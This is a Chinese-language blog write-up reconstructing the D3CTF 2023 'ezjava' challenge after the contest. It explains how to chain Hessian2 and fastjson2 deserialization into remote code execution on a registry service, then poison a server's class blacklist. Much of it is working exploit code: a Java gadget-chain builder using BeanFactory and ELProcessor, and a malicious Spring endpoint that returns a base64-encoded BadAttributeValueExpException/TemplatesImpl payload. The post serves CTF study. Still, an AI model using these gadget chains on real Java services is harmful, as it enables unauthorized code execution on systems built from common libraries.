2023 D3CTF 赛后复现
2023-05-03 21:08:29

也是赛后复现的,一字学吧。

ezjava

这题一个 registry 一个 server ,看名字还以为是 RMI的,但是跟RMI没啥关系,解读一下两道题。

Server端简要分析

先看看server吧,比较简单:

image-20230503230632921

就是请求 server 的 /status的话首先过到 JSON 的 parseObject,变成Result类,然后如果是字符串就Base64解码然后反序列化最后赋值给 denyClasses。然后默认的话是存在一些 denyClasses的:

image-20230503230820365

但是 server 端不对外暴露端口,要先rce了registry才行。

Registry端攻击

registry 暴露了 8080端口。

registry也很简单:

image-20230503231047217

就是Hessian2的反序列化,然后还有一些黑名单限制:

image-20230503231324519

直接说链吧,因为这个 tabby 没有,首先看 lib 存在 fastjson2,虽然是 fj2,但是和fj1 有一个一样的特性,在触发 toString 的时候会调用类里面的 getter 方法。

想到 toString 的时候自然能想到一个 Hessian2 的一个 CVE 能触发 toString:

网鼎杯2022 BadBean Hessian2反序列化

那现在就能有一个链子:

1
Hessian2Input.readObject -> fastjson2.toString -> xxx.getter

然后就是要找到一个不在黑名单里的 getter 函数了,参考一下一些以前的链子:

Hessian 反序列化知一二

这里提到一个:

image-20230503232519630

进入到这个类的这个函数看看就知道了:

image-20230503232646080

这个 getTargetContext 是 private 修饰的,但是有另外两个 getter 方法调用了他:

image-20230503232634859

然后接着往下看:

image-20230503232712550

image-20230503232742182

好了,现在就可以调用任意 ObjectFactorygetObjectInstance 方法,看看都有啥类实现了,这里也直接点出来就好了:

『Java安全』绕过JDK高版本限制进行JNDI注入学习研究

方法是一样的,都是通过 org.apache.naming.factory.BeanFactory 这个类然后forceString指向一个函数,最终调用 ELProcessoreval方法执行 EL 表达式。到这里 registry 就可以执行任意代码了,一个简单的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.example;


import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.jndi.cosnaming.CNCtx;
import com.sun.jndi.dns.DnsName;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.naming.ResourceRef;
import org.apache.naming.factory.BeanFactory;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import javax.el.ELProcessor;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class Main {

public static Object getELProcess() throws Exception{


Class context_cls = Class.forName("javax.naming.spi.ContinuationContext");
Constructor constructor = context_cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
CannotProceedException cannotProceedException = new CannotProceedException();

cannotProceedException.setAltName(new DnsName("A"));

Constructor cnctx_con = CNCtx.class.getDeclaredConstructor(new Class[]{});
cnctx_con.setAccessible(true);
Object cnctx_o = cnctx_con.newInstance();
cannotProceedException.setAltNameCtx((Context) cnctx_o);

ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, null, null, true);

Field classFactory_f = Reference.class.getDeclaredField("classFactory");
classFactory_f.setAccessible(true);
classFactory_f.set(resourceRef, "org.apache.naming.factory.BeanFactory");


resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'touch /tmp/haihaihai')"));

cannotProceedException.setResolvedObj(resourceRef);

Object context_o = constructor.newInstance(cannotProceedException, new Hashtable<>());
return context_o;
}

public static void main(String[] args) throws Exception {


JSONArray jsonArray = new JSONArray();
jsonArray.add(1);
jsonArray.add( getELProcess());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);


HashMap hashMap = new HashMap();
hashMap.put("a",jsonArray);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

hessian2Output.writeString("abcda");
hessian2Output.writeObject(hashMap);
hessian2Output.close();

System.out.println(new String( Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
// System.exit(0);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
hessian2Input.readObject();

System.out.println("Hello world!");
}
}

然后就是 Hessian2 的这个触发 toString 需要在序列化的时候做一些特殊处理,这里要改一下 Hessian2Output:

image-20230503234005747

image-20230503233836349

Server端攻击

现在就可以用 Registry 端访问 Server 端了,这就更简单了,这里直接把 Server 的代码贴出来吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.server.controller;

import com.alibaba.fastjson2.JSON;
import com.example.server.data.Result;
import com.example.server.util.DefaultSerializer;
import com.example.server.util.Request;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public static List<String> denyClasses = new ArrayList();
public static long lastTimestamp = 0L;

public IndexController() {
}

@GetMapping({"/status"})
public Result status() {
String msg;
try {
long currentTimestamp = System.currentTimeMillis();
msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
if (currentTimestamp - lastTimestamp > 10000L) {
this.update();
lastTimestamp = System.currentTimeMillis();
}
} catch (Exception var4) {
msg = "client is online";
}

return Result.of("200", msg);
}

public void update() {
try {
String registry = "http://registry:8080/blacklist/jdk/get";
String json = Request.get(registry);
Result result = (Result)JSON.parseObject(json, Result.class);
Object msg = result.getMessage();
if (msg instanceof String) {
byte[] data = Base64.getDecoder().decode((String)msg);
denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses);
} else if (msg instanceof List) {
denyClasses = (List)msg;
}
} catch (Exception var6) {
var6.printStackTrace();
}

}
}

就一个路由,就是 status,然后执行 update,这里的 DefaultSerializer可以就是一个带有黑名单的普通反序列化。

而且这里可以替换掉 denyClasses,所以思路很简单,就是首先第一次访问 status 把denyClasses 替换,然后第二次就没有黑名单了,当然不能替换成空,因为他好像检测了如果是空就赋值成 txt 里的,所以随便往数组里加个 abcd 字符这样的即可。

然后链子就是:

1
BadAttributeValueExpException.readObject -> JSONArray.toString -> TemplatesImpl.getOutputProperties

非常简单。

然后这里还有个问题,就是这里的代码,如果 msg 为 List 的话就可以直接替换不用反序列化了,看起来 JSON.parseObject 应该也是可以反序列化出一个 List 的,但是很可惜:

这里的 Result 类的 setMessage方法接受的是一个 String 类型的参数,这样在 fj2 反序列化的时候会把 [abc]当成字符:

image-20230503235714988

如果把 setMessage 接受的参数改成一个 Object 就能正常反序列化了:

image-20230503235527790

但是也没关系,我们还有反序列化,方法也很简单就是序列化一个 ArrayList,然后放进 Message 里然后等着反序列化出来就好啦~

然后新建一个 Spring 就好啦,控制器代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.example.spring2;

import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONArray;
import com.example.server.data.Result;
import com.sun.jndi.cosnaming.CNCtx;
import com.sun.jndi.dns.DnsName;
import org.apache.naming.ResourceRef;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
//import ysoserial.payloads.util.Gadgets;

import javax.management.BadAttributeValueExpException;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Hashtable;
import java.util.List;

@RestController
public class Test {

public static int aaa = 1;


public List<String> denyClasses = new ArrayList();

@RequestMapping("/blacklist/jdk/get")
public String a() throws Exception {
if (aaa == 1) {
ArrayList arrayList = new ArrayList<>();
arrayList.add("a");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(arrayList);


Result result = new Result("a", Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
aaa = 2;
return JSON.toJSONString(result);
// return "{\"code\":\"1\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAAGaGFpaGFpeA==\"}";

} else {
try {
// List<String> denyClasses = new ArrayList();
//
// BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("a");
// Field val_f = badAttributeValueExpException.getClass().getDeclaredField("val");
// val_f.setAccessible(true);
// JSONArray jsonArray = new JSONArray();
// jsonArray.add(Gadgets.createTemplatesImpl("touch /tmp/haihaihai"));
//
// val_f.set(badAttributeValueExpException, jsonArray);
//
// ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
// objectOutputStream.writeObject(badAttributeValueExpException);
// objectOutputStream.close();
// byte[] data = byteArrayOutputStream.toByteArray();
// String b64 = Base64.getEncoder().encodeToString(data);
//
// Result result = new Result("1", b64);
// return (String) JSON.toJSON(result);
return "{\"code\":\"1\",\"message\":\"rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAI3QACXRlc3QudGVzdHQACXRlc3QuamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAVeHNyAB5jb20uYWxpYmFiYS5mYXN0anNvbi5KU09OQXJyYXkyjgbkZzHwsAIAAUwABGxpc3RxAH4AB3hwc3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uMi5KU09OQXJyYXkAAAAAAAAAAQIAAHhxAH4AFAAAAAF3BAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABq3K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAXdG91Y2ggL3RtcC9oYWloYWloYWkyMjIIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIzNjMxNTUyMDY5MDE0MzYBACBMeXNvc2VyaWFsL1B3bmVyMzYzMTU1MjA2OTAxNDM2OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AIQAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4eA==\"}";
} catch (Exception e) {
System.out.println(e);
}
return "x";
}
}
}

原谅我是在不会把 yso的 jar 也加进 maven里。反正就是生成个 Base64就好了。

image-20230504002427591

image-20230504002440366

但是这里有个问题是,我是手动替换的这个 registry 的jar的,就类似这样:

image-20230504002505853

然后重启了docker,因为如果我直接pkill java,registry这个容器就死了,所以这道题应该只能算是做完了,之后可以试试写一个 Agent 然后 attach 到原先的 registry.jar 上做劫持试试看。过两天再试试吧~1

Prev
2023-05-03 21:08:29
Next